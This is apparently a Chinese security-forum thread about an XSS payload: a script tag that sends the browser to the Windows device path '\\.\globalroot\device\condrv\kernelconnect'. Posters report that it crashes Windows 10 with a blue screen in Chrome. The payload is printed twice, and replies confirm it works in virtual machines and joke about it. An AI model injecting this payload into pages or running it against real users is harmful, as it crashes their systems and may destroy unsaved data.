xss导致蓝屏payload首现

aydcyhr

<script>document.location = '\\\\.\\globalroot\\device\\condrv\\kernelconnect';</script>

<script>document.location = '\\\\.\\globalroot\\device\\condrv\\kernelconnect';</script>

该payload可导致chrome下蓝屏，Firefox没反应

wuxin

1.需要 win10
2.这个就是你 在谷歌浏览器打开   \globalroot\\device\\condrv\\kernelconnect   直接也是蓝屏，一个道理，只是利用网页加载了本地的文件，换了一种方式。
3.xss 打别人蓝屏毫无用处，还不如挂个 flash 马来得快。

列明

金陵十三钗 发表于 2021-1-19 12:08
开个虚拟机试试，记得保存快照哈哈哈。
我试了下，是真的会蓝屏

放心，我不會冒險了。
盤裏還有那麽多小姐姐，
我實在放心不下。
我怕藍屏了之後她們都沒了。

nevinhappy

a38758720

似乎就win10会有这个问题，火狐谷歌浏览器测试蓝屏

tick.web

a38758720 发表于 2021-1-18 17:18
似乎就win10会有这个问题，火狐谷歌浏览器测试蓝屏

666,真蓝了

列明

我今年還沒藍屏過，不知怎麽的，心裏蠢蠢欲動，就是想試試。
快要按捺不住了。

老機劉叔

牛逼哈哈哈哈哈

金陵十三钗

列明 发表于 2021-1-18 19:21
我今年還沒藍屏過，不知怎麽的，心裏蠢蠢欲動，就是想試試。
快要按捺不住了。

开个虚拟机试试，记得保存快照哈哈哈。
我试了下，是真的会蓝屏

aydcyhr

yzjz1999 发表于 2021-1-19 17:05
虚拟机测可以，Chrome+win10 2004可以

这么有趣肯定要物理机来玩了